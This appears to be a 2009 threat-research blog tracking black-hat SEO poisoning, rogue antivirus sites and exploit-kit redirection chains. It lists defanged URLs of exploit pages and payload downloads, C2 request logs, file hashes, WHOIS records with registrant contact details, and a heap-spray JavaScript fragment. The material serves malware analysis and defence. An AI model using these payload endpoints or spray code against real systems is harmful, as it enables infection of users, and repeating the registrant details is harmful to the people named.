Malware Web Threats

Black Hat SEO and Rogue Antivirus p.9

2009-04-24T09:34:00.000-07:00

The silent threat: Black Hat SEO and Rogue Antivirus

Massive black hat campaign still growing: Easter related websites, Ned.org, Ford and more

READ THIS page if you need more information

After Trend Micro researchers claimed that Easter related sites were used to
redirect visitors to rogue antivirus websites, PandaLabs recently uncovered
similar Black hat SEO attacks against Ford and Ned.org.

By mis-using keywords typically related to global businesses and institutions,
the criminals attract unsuspecting visitors to compromized web sites. These sites
deceive visitors into downloading and installing a fake antivirus product that is
very hard to deactivate or remove.The rogue antivirus gives false alerts to the
user making them think that theircomputer is infected. Scared users are then
susceptible to buying the "antivirus protection" via a page that looks like a
secure SSL web site. In fact, their money are confidential credit card information
are stolen by the criminals the moment that they enter their personal information
into the payment page.

Many global companies, including Ford have been exploited in this way. Over a
million compromized web sites used Ford-based keywords to attract visitors to
fake antivirussites via search engines such as Google (Black hat SEO may force
Google to change algorithm).Other examples of this attack include the mis-use
of Easter related keywords to attract unsuspecting visitors during the Easter
season (Trend Micro Malware Blog - Rotten Eggs: An Easter Malware Campaign).

There are other variants of this type of attack originating from the same
Ukraine / Russianbased criminal fraternity. For example, the criminals use technical
exploits to compromizeweb sites, blog, forums and the like. Wordpress blog
management software has been a victim of such an exploit allowing the criminals
to inject malicious code directly into all pages.A visitor to one of these infected
sites will beredirected to another site where rogue antivirus software is again
downloaded (PandaLabs: New Blackhat SEO attack exploits vulnerabilities in
Wordpressto distributerogue antivirus software).

The criminals put a lot of effort into assuring the longevity of their scam.
Frequent IP changes and moving from location to location help ensure that
they can continue their activities.

You can get more information about all these attacks from the following
resources. The PandaLabs video gives a particularly clear and concise overview.

The following links provide more information about this attack:

The Tech Herald: Malicious SEO targets Ford Motor Company
PandaLabs: Targeted Blackhat SEO Attack against Ford Motor Co.

Read the article on WebProNews: Blackhat SEO spammers force Google’s hand

Related attack:

PandaLabs: Blackhat SEO Fueled Rogue Security Campaign
Sample hijacked search terms (text file)

The website implicated is: getscanonline.com (also hosted on 209.44.126.14).

Softpedia: Easter and Ford Search Results Poisoned

In this case, the files found on the site are detected by Trend Micro as

TROJ_FAKEAV.BAF - JS_DLOADER.WKQ

The websites in question are: trustsecurityshield.com and topsecurity4you.com
which both have served for only two or three days (hosted on 209.44.126.14).

Technicals details can be found below

Vulnerabilities in Wordpress exploited to distribute rogue antivirus software

Watch the full video:

I will take your attention on the video above.

This is a screenshot at 03:11

If you zoom into it you will see the domain "load-archive-av-pro.com".
The domain is still active and shared with many other fake scanner websites
like "antivir-scan-pro-best.com" for the location of the payload.
Wepawet Analysis

The process:

I will take some words found on Ned.org for example.

The google cache:

The poisoned keywords:

"Kettle Vally Line Song"

The google search:

The redirection analysis:

hxxp://cropperddi.fortunecity.com/6766.html
hxxp://sandbergjbo.fortunecity.com/26894.html

Analysis -> redirect to a traffic management system
Analysis -> redirect to a traffic management system

hxxp://redirxl.com/filt/in.cgi?5&group=5q

which then redirect to the malicious site

hxxp://antivir-scan-pro-best.com/11038/3/

The payload in located on the same site that appear on the
PandaLabs article which is:

hxxp://files.load-archive-av-pro.com/normal/
setup_11038_3_1.exe

File size: 104971 bytes
MD5...: 2a9889219ec9d0124892e5e64eaed2bd

VirusTotal
Anubis

---------------------------

64.69.32.220

antivir-scan-pro-best.com

Registrant: Lee Brinkman (leebrinkm@gmail.com)
4396 Ross Street
Mount Vernon
Illinois,62864
US
Tel. +001.65746675653

Creation Date: 17-Apr-2009
Expiration Date: 17-Apr-2010

Domain servers in listed order:
ns2.antivir-scan-pro-best.com
ns1.antivir-scan-pro-best.com

Registrar:
DIRECTI INTERNET SOLUTIONS PVT. LTD.
D/B/A PUBLICDOMAINREGISTRY.COM

Also on this IP - previously used

checker-pc-pro-av.com
sheck-pro-as.com

---------------------------

195.88.80.127 - ECOWEB AS35695 - ecoweb.lv

load-archive-av-pro.com
files.load-archive-av-pro.com

Registrant:Mary Smalls (mary.sma0@gmail.com)
2251 Doctors Drive
Los Angeles
California,90066
US
Tel. +001.86758776498

Creation Date: 17-Apr-2009
Expiration Date: 17-Apr-2010

Domain servers in listed order:
ns2.load-archive-av-pro.com
ns1.load-archive-av-pro.com

Registrar:
DIRECTI INTERNET SOLUTIONS PVT. LTD.
D/B/A PUBLICDOMAINREGISTRY.COM

Also on this IP - previously used

download-pro-as.net
load-antivir-pro-pc.com
files.load-antivir-pro-pc.com
download-pro-as.net

From the article on PandaLabs' blog about the SEO attack against
Ford Motor Co. you can see the domain "globextubes.com"
previously hosted on 64.69.32.203.

This is a graph (from Robtex) of some of these sites serving in
the same campaign:

fasttube2009.com
globalstube2009.com
globextubes.com
streamingtubes2009.com

This is a file found on one of these site: softwarefortubeview.40011.exe

VirusTotal Report
Anubis Report

Complete analysis below:

After running it connect to this URL to received additional payloads to inject.

nhgfngfdhngf.com - 216.240.148.9

ThreatExpert Report

hxxp://nhgfngfdhngf.com/fff9999.php?aid=0&uid=00cd1a40d41d8
cd98f00b204e9800998ecf8427e&os=512

hxxp://nhgfngfdhngf.com/eee9999.php?aid=0&uid=00cd1a40d41d
8cd98f00b204e9800998ecf8427e&os=512

(216.240.148.9)

The page show these URL (Added file info and virustotal report)

----------------------------------------------------
hxxp://images2009best.com/perce/
30f07cdd01ead4f0dd74319d888cfdd9386f80b04bf230
740e19c810803919c83e9c9f487472375ee/70e/perce.jpg

VirusTotal - 4/40 (10%)
Anubis Report
File size: 94212 bytes
MD5...: e49048a38d0757b92a34dff6fc3b3f74

HTTP Activity:

216.240.157.91 [imagesrepository.com] Request: POST /resolution.php 88.214.205.8 [zone-searching.com] Request: POST /borders.php

----------------------------------------------------

hxxp://venerapictures.com/item/6000dc4d413ac4f08d
c431fdc85ccde9d80ff0a04b824084feb9c840903939083e0
c4f78441277ced/b0b/item.gif

VirusTotal - 7/40 (17.5%)
Anubis Report
File size: 145412 bytes
MD5...: d2b451fee4f7c42b06121cf03f8ea281

----------------------------------------------------
hxxp://venerapictures.com/werber/900/216.jpg

VirusTotal - 8/40 (20%)
Anubis Report
File size: 99332 bytes
MD5...: 5bc8a73f3412c574909e5f3c193fed89

----------------------------------------------------
hxxp://files.get-fails-load-av.com/exe/setup_200002.exe

VirusTotal - 9/40 (22.5%)
Anubis Report
File size: 78347 bytes
MD5...: ff220534519a1a116dbc2dd712bff24a

HTTP Activity:

195.88.81.116 [dl.scan-anti-spy-4free.com] 195.88.80.207 [int.reporting32.com]
----------------------------------------------------

hxxp://lwl-softwares.com/939.exe

VirusTotal - 0/39 (0%)
Anubis Report
File size: 180224 bytes
MD5...: 1ff562c02c68f0a8001135dc89b4eaa1

HTTP Activity:

78.47.186.162 [hitmidpoint.com] Request: GET /?accs=939& tid=100 84.243.252.87 [staritquick.com] Request: GET /in.cgi?9& gai=cspsa3p&gli=273& gff=cs_221227254&al= 89.248.168.46 [toppromooffer.com] Request: GET /srm/adv/142/?a= cspsa3p&l=273&f= cs_221227254&ex=& ed=&sub=csp&prodabbr=USRM

----------------------------------------------------

hxxp://lwl-softwares.com/important.exe

Anubis Report
File size: 135168 byte
MD5...: 83b4560333601224cb0d5709bdf57191

Trojan.Win32.Tibs

Black Hat SEO and Rogue Antivirus p.8

2009-04-20T16:18:00.000-07:00

The silent threat: Black Hat SEO and Rogue Antivirus

Fake Antivirus + Rootkit TDSS / Alureon / DNSChanger Trojan

READ THIS page if you need more information

A quick move to this IP block 209.44.126.0/24 by "Netelligent Hosting Services Inc" which hosts several fake av websites as well as exploits to spread the trojan TDSS/Alureon.

All of these have been found following iframe injected on legit websites, poisoned keyworks in Google Search Engine and links on ad network (screenshot below)

Check it out - maybe someone have access to your PC right now! Protect yourself.

Also Google show 14,800 result for this phrase.

Detection:

Trojan TDSS
Trojan DNSChanger
Trojan Kryptik
Trojan FakeSpyGuard
Trojan InternetAntivirusPro

Sites serving for the fake antivirus campaign:

209.44.126.14

activesecurityshield.com
anytoplikedsite.com
basevirusscan.com
bestfiresfull.com
bestsecurityupdate.com
checkonlinesecurity.com
cleanyourpcspace.com
destroyvirusnow.com
fastsecurityscan.com
fastviruscleaner.com
firstscansecurity.com
fuc*moneycash.com
fullandtotalsecurity.com
fullsecurityshield.com
getpcguard.com
getscanonline.com
getsecuritywall.com
greatsecurityshield.com
inetsecuritycenter.com
initialsecurityscan.com
mostpopularscan.com
myfirstsecurityscan.com
mytoplikedsite.com
mytopvirusscan.com
onlinescandetect.com
onlinescanservice.com
popularpcscan.com
runpcscannow.com
scanalertspage.com
scanbaseonline.com
scanprotectiononline.com
scanvistanow.net
securityscan4you.com
securitytopagent.com
thegreatsecurity.com
todaybestscan.com
topsecurity4you.com
topsecurityapp.com
topsoftscanner.com
totalpcdefender.com
totalvirusdestroyer.com
truescansecurity.com
trustsecurityshield.com
upyoursecurity.com
virustopshield.com
vistastabilitynow.com
vistastabilitynow.net
websecuritymaster.com
websecurityvoice.com
yourstabilitysystem.com

209.44.126.16
systemsecurityonline.com
systemsecuritytool.com

209.44.126.29
individualpeople.biz (will be analyzed below)

209.44.126.14
209.44.126.15
209.44.126.16
209.44.126.17
209.44.126.22
209.44.126.23

NS for rogue fake av websites

209.44.126.32
asmmnation.com
ThreatExpert report
In conjunction with an IP in ukraine : Symantec write up

On this IP 209.44.126.29 we also have a couple of page with exploits which leads to the trojan TDSS (Alureon).

I will take this domain for example "individualpeople[.]biz"

Malicious script (IFRAME) inserted. Redirection Analysis

Redirects to the page below which host several exploits. Javascript Analysis (Wepawet)

hxxp://individualpeople.biz/go.php?sid=6

Anubis Report

hxxp://209.44.126.30/unsecurity/pdf.php

Wepawet Analysis - VirusTotal

to finally load this page

hxxp://209.44.126.30/unsecurity/load.php

VirusTotal - Anubis

Detections:

W32/Alureon.B!Generic
Win32.Rootkit.TDSS.eyj.4
Packed.Win32.Tdss.f
Trojan.Win32.FakeSpyguard
Trojan:Win32/Alureon.gen!J
Trojan/Fakealert.gen

--------------------------------------

HTTP activity after infection

92.48.91.145:80 - [trafficstatic.net]

Request: GET /banner/crcmds/main
Response: 200 "OK"
Request: GET /banner/crcmds/init
Response: 200 "OK"
Request: GET /banner/uacsrcr.dat
Response: 200 "OK"
Request: GET /banner/crcmds/update
Response: 200 "OK"
Request: GET /banner/crfiles/uacd
Response: 200 "OK"
Request: GET /banner/crfiles/uacc
Response: 200 "OK"
Request: GET /banner/crfiles/uaclog
Response: 200 "OK"
Request: GET /banner/crfiles/uacmask
Response: 200 "OK"
Request: GET /banner/crfiles/uacserf
Response: 200 "OK"
Request: GET /banner/crcmds/types/standart
Response: 404 "Not Found"
Request: GET /banner/crcmds/types/standart
Response: 404 "Not Found"
Request: GET /banner/crcmds/types/standart
Response: 404 "Not Found"
Request: GET /banner/crcmds/affids/11
Response: 404 "Not Found"
Request: GET /banner/crcmds/affids/11
Response: 404 "Not Found"
Request: GET /banner/crcmds/affids/11
Response: 404 "Not Found"
Request: GET /banner/crcmds/subids/v3072
Response: 404 "Not Found"
Request: GET /banner/crcmds/subids/v3072
Response: 404 "Not Found"
Request: GET /banner/crcmds/subids/v3072
Response: 404 "Not Found"
Request: GET /banner/crcmds/builds/bbr
Response: 200 "OK"
Request: GET /banner/crfiles/uacbbr
Response: 200 "OK"

72.233.114.126:80 - [statsanalist.cn]

Request: GET /?gd=KCo7MD8uPS4iPA==&affid=Xl4=&subid=GVxfWF0=&prov=Xw==&mode=cr&v=5
Response: 200 "OK"
Request: GET /?gd=ICQwJiE8Oy4jIw==&affid=Xl4=&subid=GVxfWF0=&prov=Xl9fXl8=&mode=cr&v=5
Response: 200 "OK"

IPs implicated:

209.44.126.14
209.44.126.15
209.44.126.16
209.44.126.17
209.44.126.22
209.44.126.23
209.44.126.29
209.44.126.32

Other domain in conjunction can be found using ThreatExpert

/banner/crcmds/main

Report 1
Report 2

92.48.91.144
trafficstatic.com
explorerex.com
windowslogonex.com

92.48.91.145
trafficstatic.net
ThreatExpert Report

95.211.14.159
golddiggero1.com

76.76.103.162
webieupdate.net

94.76.208.32
symupdate2.com
ThreatExpert Report

72.233.114.125
webnicrisoft.net
ThreatExpert Report

64.213.140.254
webmsupdate.net
ThreatExpert Report

Black Hat SEO - RBN Hacks, p.4

2009-04-20T02:05:00.000-07:00

The silent threat: Black Hat SEO, exploits, hacks, botnets

Crimeware toolkits in the wild

READ THIS page if you need more information

WARNING: All sites listed on this page are dangerous (live URL with exploits)
which lead to trojans beeing automatically installed on your computer.
Do NOT visit them unless you know what you are doing.
(only links are safe)

Another very good example on the site below which lead to other domain in the network previously cited "Eurohost LLC " shows that this attack seems to be everywhere.

IFrames injected, pdf malware + viruses. Attached some screenshots.

Infected page:

hxxp://team-sleep.by.ru/default2.html

Analysis

hxxp://8addition.info/t/?75724cae9d
hxxp://sexbases.cn/in.cgi?16&161b72
hxxp://utevox.site90.com/f/index.php

************
Infected page:

hxxp://team-sleep.by.ru/demo.html

Analysis

Requests:

hxxp://bizoplata.ru/pay.html?
hxxp://bizoplata.ru/ballast.html
hxxp://tixwagoq.cn/in.cgi?4
hxxp://paylayos.cn/nuc/index.php
hxxp://bizoplata.ru/post.html
hxxp://sunmaiamibich.ru/pupu/in.php
hxxp://5rublei.com/unique/index.php
hxxp://tochtonenado.com/yes/index.php
hxxp://mixbunch.cn/thread.html
hxxp://mixbunch.cn/golf.html
hxxp://mixbunch.cn/bowling.html
hxxp://famajormusic.ru/jjkj/pdf.php

Redirects:

hxxp://tixwagoq.cn/in.cgi?4
hxxp://paylayos.cn/nuc/index.php

hxxp://5rublei.com/unique/index.php
hxxp://tochtonenado.com/yes/index.php

************
Infected page:

hxxp://team-sleep.by.ru/gold.html

Analysis

Requests:

hxxp://team-sleep.by.ru/gold.html
hxxp://5rublei.com/unique/index.php
hxxp://tochtonenado.com/yes/index.php
hxxp://mixbunch.cn/thread.html
hxxp://mixbunch.cn/golf.html
hxxp://tixwagoq.cn/in.cgi?4
hxxp://paylayos.cn/nuc/index.php
hxxp://mixbunch.cn/bowling.html
hxxp://sunmaiamibich.ru/pupu/in.php
hxxp://famajormusic.ru/jjkj/pdf.php

Redirects:

hxxp://5rublei.com/unique/index.php
hxxp://tochtonenado.com/yes/index.php

hxxp://tixwagoq.cn/in.cgi?4
hxxp://paylayos.cn/nuc/index.php

************
Infected page:

hxxp://team-sleep.by.ru/googleanalyticsru.html

Analysis

Requests:

hxxp://team-sleep.by.ru/googleanalyticsru.html
hxxp://mixbunch.cn/thread.html
hxxp://mixbunch.cn/golf.html
hxxp://tixwagoq.cn/in.cgi?4
hxxp://paylayos.cn/nuc/index.php
hxxp://mixbunch.cn/bowling.html
hxxp://sunmaiamibich.ru/pupu/in.php
hxxp://sunmaiamibich.ru/

Redirects:

hxxp://tixwagoq.cn/in.cgi?4
hxxp://paylayos.cn/nuc/index.php

************
Infected page:

hxxp://team-sleep.by.ru/media.html

Analysis

Requests:

hxxp://team-sleep.by.ru/media.html
hxxp://5rublei.com/unique/index.php
hxxp://tochtonenado.com/yes/index.php
hxxp://mixbunch.cn/thread.html
hxxp://mixbunch.cn/golf.html
hxxp://tixwagoq.cn/in.cgi?4
hxxp://paylayos.cn/nuc/index.php
hxxp://mixbunch.cn/bowling.html
hxxp://sunmaiamibich.ru/pupu/in.php
hxxp://famajormusic.ru/jjkj/pdf.php

Redirects:

hxxp://5rublei.com/unique/index.php
hxxp://tochtonenado.com/yes/index.php

hxxp://tixwagoq.cn/in.cgi?4
hxxp://paylayos.cn/nuc/index.php

************
Infected page:

hxxp://team-sleep.by.ru/menu.html

Analysis

Requests:

hxxp://team-sleep.by.ru/menu.html
hxxp://bizoplata.ru/pay.html?
hxxp://bizoplata.ru/ballast.html
hxxp://tixwagoq.cn/in.cgi?4
hxxp://paylayos.cn/nuc/index.php
hxxp://bizoplata.ru/post.html
hxxp://sunmaiamibich.ru/pupu/in.php
hxxp://famajormusic.ru/jjkj/pdf.php
hxxp://5rublei.com/unique/index.php
hxxp://tochtonenado.com/yes/index.php
hxxp://mixbunch.cn/thread.html
hxxp://mixbunch.cn/golf.html
hxxp://mixbunch.cn/bowling.html

Redirects:

hxxp://tixwagoq.cn/in.cgi?4
hxxp://paylayos.cn/nuc/index.php

hxxp://5rublei.com/unique/index.php
hxxp://tochtonenado.com/yes/index.php

************
Infected page:

hxxp://team-sleep.by.ru/news.html

Analysis

Requests:

hxxp://moneypuller.site90.net/images/gallery/index.php
hxxp://error.000webhost.com/not_found.html
hxxp://www.000webhost.com/?id=1
hxxp://www.000webhost.com/
hxxp://mixbunch.cn/thread.html
hxxp://mixbunch.cn/golf.html
hxxp://tixwagoq.cn/in.cgi?4
hxxp://paylayos.cn/nuc/index.php
hxxp://mixbunch.cn/bowling.html
hxxp://sunmaiamibich.ru/pupu/in.php
hxxp://famajormusic.ru/jjkj/pdf.php

Redirects:

hxxp://tixwagoq.cn/in.cgi?4
hxxp://paylayos.cn/nuc/index.php

************
Infected page:

hxxp://team-sleep.by.ru/photo2.html

Analysis

Requests:

hxxp://mixbunch.cn/thread.html
hxxp://mixbunch.cn/golf.html
hxxp://tixwagoq.cn/in.cgi?4
hxxp://paylayos.cn/nuc/index.php
hxxp://mixbunch.cn/bowling.html
hxxp://sunmaiamibich.ru/pupu/in.php
hxxp://famajormusic.ru/jjkj/pdf.php
hxxp://bizoplata.ru/pay.html?
hxxp://bizoplata.ru/ballast.html
hxxp://bizoplata.ru/post.html
hxxp://5rublei.com/unique/index.php
hxxp://tochtonenado.com/yes/index.php

Redirects:

hxxp://tixwagoq.cn/in.cgi?4
hxxp://paylayos.cn/nuc/index.php

hxxp://5rublei.com/unique/index.php
hxxp://tochtonenado.com/yes/index.php

************
Infected page:

hxxp://team-sleep.by.ru/poem.html

Analysis

Requests:

Redirects:

hxxp://tixwagoq.cn/in.cgi?4
hxxp://paylayos.cn/nuc/index.php

************
Infected page:

hxxp://team-sleep.by.ru/press_reviews.html

Analysis

Requests:

hxxp://mixbunch.cn/thread.html
hxxp://mixbunch.cn/golf.html
hxxp://tixwagoq.cn/in.cgi?4
hxxp://paylayos.cn/nuc/index.php
hxxp://mixbunch.cn/bowling.html
hxxp://sunmaiamibich.ru/pupu/in.php
hxxp://famajormusic.ru/jjkj/pdf.php
hxxp://5rublei.com/unique/index.php
hxxp://tochtonenado.com/yes/index.php

Redirects:

hxxp://tixwagoq.cn/in.cgi?4
hxxp://paylayos.cn/nuc/index.php

hxxp://5rublei.com/unique/index.php
hxxp://tochtonenado.com/yes/index.php

************
Infected page:

hxxp://team-sleep.by.ru/team-sleep.html

Anaysis

Redirects:

hxxp://mixbunch.cn/thread.html
hxxp://mixbunch.cn/golf.html
hxxp://tixwagoq.cn/in.cgi?4
hxxp://paylayos.cn/nuc/index.php
hxxp://mixbunch.cn/bowling.html
hxxp://sunmaiamibich.ru/pupu/in.php
hxxp://famajormusic.ru/jjkj/pdf.php
hxxp://5rublei.com/unique/index.php
hxxp://tochtonenado.com/yes/index.php

Redirects:

hxxp://tixwagoq.cn/in.cgi?4
hxxp://paylayos.cn/nuc/index.php

hxxp://5rublei.com/unique/index.php
hxxp://tochtonenado.com/yes/index.php

************
Infected page:

hxxp://team-sleep.by.ru/gmail.php

Analysis

Requests:

hxxp://counnter.cn/top100_00.js
hxxp://counnter.cn/z/count.php?o=1
hxxp://5rublei.com/unique/index.php
hxxp://tochtonenado.com/yes/index.php

Redirects:

hxxp://5rublei.com/unique/index.php
hxxp://tochtonenado.com/yes/index.php

************
Infected page:

hxxp://team-sleep.by.ru/haitou.php

Analysis

Requests:

hxxp://5rublei.com/unique/index.php
hxxp://tochtonenado.com/yes/index.php

************
Infected page:

hxxp://team-sleep.by.ru/in.php

Analysis

Requests:

hxxp://www.rogercombs.org/index.php
hxxp://5rublei.com/unique/index.php
hxxp://tochtonenado.com/yes/index.php

************
Infected page:

hxxp://team-sleep.by.ru/photo/team.html

Analysis

Requests:

hxxp://analytics-google.info/s/urchin.js
hxxp://mixbunch.cn/golf.html
hxxp://tixwagoq.cn/in.cgi?4
hxxp://paylayos.cn/nuc/index.php
hxxp://mixbunch.cn/bowling.html
hxxp://sunmaiamibich.ru/pupu/in.php
hxxp://famajormusic.ru/jjkj/pdf.php
hxxp://77.221.133.172/.if/go.html?
hxxp://by.ru/info/?where

************
Infected page:

hxxp://team-sleep.by.ru/photo/wallz.html

Analysis

Requests:

hxxp://analytics-google.info/s/urchin.js
hxxp://mixbunch.cn/thread.html
hxxp://mixbunch.cn/golf.html
hxxp://tixwagoq.cn/in.cgi?4
hxxp://paylayos.cn/nuc/index.php
hxxp://mixbunch.cn/bowling.html
hxxp://sunmaiamibich.ru/pupu/in.php
hxxp://famajormusic.ru/jjkj/pdf.php
hxxp://bizoplata.ru/pay.html?
hxxp://bizoplata.ru/ballast.html
hxxp://bizoplata.ru/post.html
hxxp://by.ru/info/?where

************
Infected page:

hxxp://team-sleep.by.ru/photo/live/index2.html

Analysis

Requests:

hxxp://utevox.site90.com/f/index.php
hxxp://mixbunch.cn/thread.html
hxxp://mixbunch.cn/golf.html
hxxp://tixwagoq.cn/in.cgi?4
hxxp://paylayos.cn/nuc/index.php
hxxp://mixbunch.cn/bowling.html
hxxp://sunmaiamibich.ru/pupu/in.php
hxxp://famajormusic.ru/jjkj/pdf.php

************
Infected page:

hxxp://team-sleep.by.ru/photo/live/imagepages/image1.html

Analysis

Requests:

************
Infected page:

hxxp://team-sleep.by.ru/photo/members/imagepages/image1.html

Analysis

Requests:

************
Infected page:

hxxp://team-sleep.by.ru/photo/team/imagepages/image1.html

Analysis

On this page the domain appears to be previously involved in the Asprox malware campaign. As you can see the fgg.js and script.js are still present on the page.

However all of these are not responding.

Finjan report
Google Searchfor fgg.js
Google Search for www.netcfg9.ru

hxxp://www.jve4.ru/fgg.js
hxxp://www.nmr43.ru/fgg.js
hxxp://www.mj5f.ru/script.js
hxxp://www.vswc.ru/script.js
hxxp://www.pkseio.ru/script.js
hxxp://www.4log-in.ru/script.js
hxxp://www.netcfg9.ru/script.js
hxxp://www.sitevgb.ru/script.js
hxxp://www.errghr.ru/script.js
hxxp://www.81dns.ru/script.js
hxxp://mixbunch.cn/thread.html
hxxp://mixbunch.cn/golf.html
hxxp://tixwagoq.cn/in.cgi?4
hxxp://paylayos.cn/nuc/index.php
hxxp://mixbunch.cn/bowling.html
hxxp://sunmaiamibich.ru/pupu/in.php
hxxp://famajormusic.ru/jjkj/pdf.php

************
Infected page:

hxxp://tochtonenado.com/yes/index.php
hxxp://tochtonenado.com/yes/load.php?stat=Windows

Analysis

Trojan Waledac.GEN

Anubis Report

Botnet Controller

89.149.244.140:80 - [djbobroff.ru]
Request: GET /spm/index.php?id=584E5E43
Response: 200 "OK"
Request: GET /spm/index.php?id=584E5E43&download=0000138F
Response: 200 "OK"
Request: POST /spm/index.php?id=584E5E43&mid=5007
Response: 200 "OK"

C:\WINDOWS\system32\DRIVERS\asyncmac.sys

*****************

Exploits:

hxxp://5rublei.com/unique/index.php	Analysis - VirusTotal - Anubis
hxxp://bizoplata.ru/ballast.html	Analysis
hxxp://bizoplata.ru/courier.html	Analysis
hxxp://bizoplata.ru/pay.html?	Analysis
hxxp://bizoplata.ru/post.html	Analysis
hxxp://dasretokfin.com/load.php	Analysis
hxxp://mixbunch.cn/thread.html	Analysis
hxxp://mixbunch.cn/golf.html	Analysis
hxxp://mixbunch.cn/bowling.html	Analysis
hxxp://peskufex.cn/ss/in.cgi?2	Source
hxxp://startdontstop.ru/bigmac.html	Analysis
hxxp://sunmaiamibich.ru/pupu/in.php	Analysis
hxxp://sunmaiamibich.ru/pupu/load.php	VirusTotal - Anubis
hxxp://tixwagoq.cn/in.cgi?4	Analysis
hxxp://tochtonenado.com/yes/index.php	Analysis
hxxp://tochtonenado.com/yes/load.php	Anubis
hxxp://tochtonenado.com/yes/include/spl.php	Analysis
hxxp://utevox.site90.com/f/index.php	Analysis
hxxp://utevox.site90.com/f/load.php	dead

91.212.41.91

hxxp://mixbunch.cn
hxxp://sunmaiamibich.ru

91.212.65.7

hxxp://peskufex.cn

95.129.144.228

hxxp://5rublei.com
hxxp://dasretokfin.com
hxxp://tochtonenado.com

95.129.144.13

hxxp://bizoplata.ru
hxxp://startdontstop.ru

64.235.52.170

hxxp://utevox.site90.com

************************

Domain Name: mixbunch.cn
ROID: 20081108s10001s82359461-cn
Domain Status: clientTransferProhibited
Registrant Organization: Raymond Keaton
Registrant Name: Raymond Keaton
Administrative Email: Keaton@cybernauttech.com
Sponsoring Registrar: 广东时代互联科技有限公司
Name Server:ns1.softwaresupport-group.com
Name Server:ns2.softwaresupport-group.com
Registration Date: 2008-11-08 16:06
Expiration Date: 2009-11-08 16:06

domain: sunmaiamibich.ru
type: CORPORATE
nserver: ns1.softwaresupport-group.com.
nserver: ns2.softwaresupport-group.com.
state: REGISTERED, DELEGATED
person: Private person
phone: +7 910 3478712
e-mail: dmitrijstanislavskij@yandex.ru
registrar: REGRU-REG-RIPN
created: 2009.04.16
paid-till: 2010.04.16
source: TC-RIPN

Domain Name: peskufex.cn
ROID: 20090315s10001s50367993-cn
Domain Status: clientDeleteProhibited
Domain Status: clientTransferProhibited
Registrant Organization: 永也进出口公司
Registrant Name: 张龙
Administrative Email: alvin_555@yeah.net
Sponsoring Registrar: 易名中国
Name Server:ns2.dnsmytruedns.com
Name Server:ns1.dnsmytruedns.com
Registration Date: 2009-03-15 15:37
Expiration Date: 2010-03-15 15:37

Domain Name: 5rublei.com
Registrar: BIZCN.COM, INC.
Whois Server: whois.bizcn.com
Referral URL: http://www.bizcn.com
Name Server: NS1.EVERYDNS.NET
Name Server: NS2.EVERYDNS.NET
Name Server: NS3.EVERYDNS.NET
Name Server: NS4.EVERYDNS.NET
Status: clientDeleteProhibited
Status: clientTransferProhibited
Updated Date: 31-mar-2009
Creation Date: 30-jun-2008
Expiration Date: 30-jun-2010

Domain Name: dasretokfin.com
Registrar: REGTIME LTD.
Whois Server: whois.regtime.net
Referral URL: http://www.webnames.ru
Name Server: NS1.AFRAID.ORG
Name Server: NS2.AFRAID.ORG
Name Server: NS3.AFRAID.ORG
Name Server: NS4.AFRAID.ORG
Status: ok
Updated Date: 24-mar-2009
Creation Date: 18-feb-2009
Expiration Date: 18-feb-2010

Domain Name: tochtonenado.com
Registrar: UK2 GROUP LTD.
Whois Server: whois.hostingservicesinc.net
Referral URL: http://www.uk2group.com/
Name Server: NS1.EVERYDNS.NET
Name Server: NS2.EVERYDNS.NET
Name Server: NS3.EVERYDNS.NET
Name Server: NS4.EVERYDNS.NET
Status: clientTransferProhibited
Updated Date: 25-mar-2009
Creation Date: 25-mar-2009
Expiration Date: 25-mar-2010

domain: bizoplata.ru
type: CORPORATE
nserver: ns1.sevensearchon.ru
nserver: ns2.sevensearchon.ru
state: REGISTERED, DELEGATED
person: Private Person
phone: +7 495 0000000
e-mail: tuhov83@mail.ru
registrar: CT-REG-RIPN
created: 2009.01.23
paid-till: 2010.01.23
source: TC-RIPN

domain: startdontstop.ru
type: CORPORATE
nserver: ns1.sevensearchon.ru.
nserver: ns2.sevensearchon.ru.
state: REGISTERED, DELEGATED
person: Private Person
phone: +7 916 7843219
e-mail: ale32888049@yandex.ru
registrar: NAUNET-REG-RIPN
created: 2009.04.14
paid-till: 2010.04.14
source: TC-RIPN

Black Hat SEO - RBN Hacks, p.3

2009-04-17T10:15:00.000-07:00

The silent threat: Black Hat SEO, exploits, hacks, botnets

Triple threats

READ THIS page if you need more information

The story about "Hosted JavaScript leading to .cn PDF Malware" which has implicated clarafin[.]info, fabiomotor[.]cn and letomerin[.]cn continue!

New sites appear as intermediaries for distributing malware.

About beebest[.]cn I will take this domain for example "cmizziconstruction.com"

The Diagnostic page for cmizziconstruction.com. (Provided by Google Safe Browsing)

In the source code we can see:

The deobfuscated code is

which is an IFRAME

Analysis on March 25

hxxp://extraspray.com/in.php?	URL Analysis
hxxp://agkt.info/evo/getexe.exe ?o=7&t=1238025784&i=2154770527&e=
hxxp://agkt.info/evo/exploits/x19.php ?o=7&t=1238025784&i =2154770527
hxxp://agkt.info/evo/exploits/x18.php ?o=7&t=1238025784&i=2154770527
hxxp://agkt.info/evo/exploits/x21x1.php
hxxp://agkt.info/evo/getexe.exe ?o=4&t=1238025787&i=2154770527&e=
hxxp://rifnasax.cn/nuc/exe.php	URL Analysis - VirusTotal (Kryptik)

Analysis on April 17

hxxp://extraspray.com/in.php?	URL Analysis
hxxp://sgqw.info/evo/getexe.exe ?o=7&t=1239978315&i=2154770527&e=
hxxp://sgqw.info/evo/exploits/x19.php ?o=7&t=1239978315&i=2154770
hxxp://sgqw.info/evo/exploits/x18.php ?o=7&t=1239978315&i=2154770527	URL Analysis - VirusTotal - Anubis
hxxp://sgqw.info/evo/getexe.exe ?o=7&t=1239978315&i=2154770527&e=18	URL Analysis - VirusTotal - Anubis

Now with clarafin[.]info

Analysis on April 17 (07:26)

The source code show:

which is the IFRAME for clarafin[.]info

You can follow the result for "clarafin.info" on this page:
Internet Storm Center: Hosted javascript leading to .cn PDF malware

-------------

And now the new one who just appear on the same page: beebest[.]cn

Google Diagnosting for beebest.cn AS41665 (HOSTING)

This is just a part of the code:

memory = new Array();
for(i = 0; i < 100; i++){ memory[i] = spray + shellcode; }
document.
getElementById("xmlplace").innerHTML = "<XML ID=I><X><C><!

hxxp://beebest.cn/dlutrl23dnwfas/index.php	URL Analysis
hxxp://beebest.cn/dlutrl23dnwfas/spl/pdf.pdf	URL Analysis
hxxp://beebest.cn/dlutrl23dnwfas/exe.php	VirusTotal - Anubis

A ThreatExpertresult show the connection with stopgam.cn and
stopgam2.cn after infection

ThreatExpert Result

It's recommended that you block these IPs using your hosts file or your firewall.

These domain are also cited on Malware Domain List: 91.212.65.7
and all are still active.

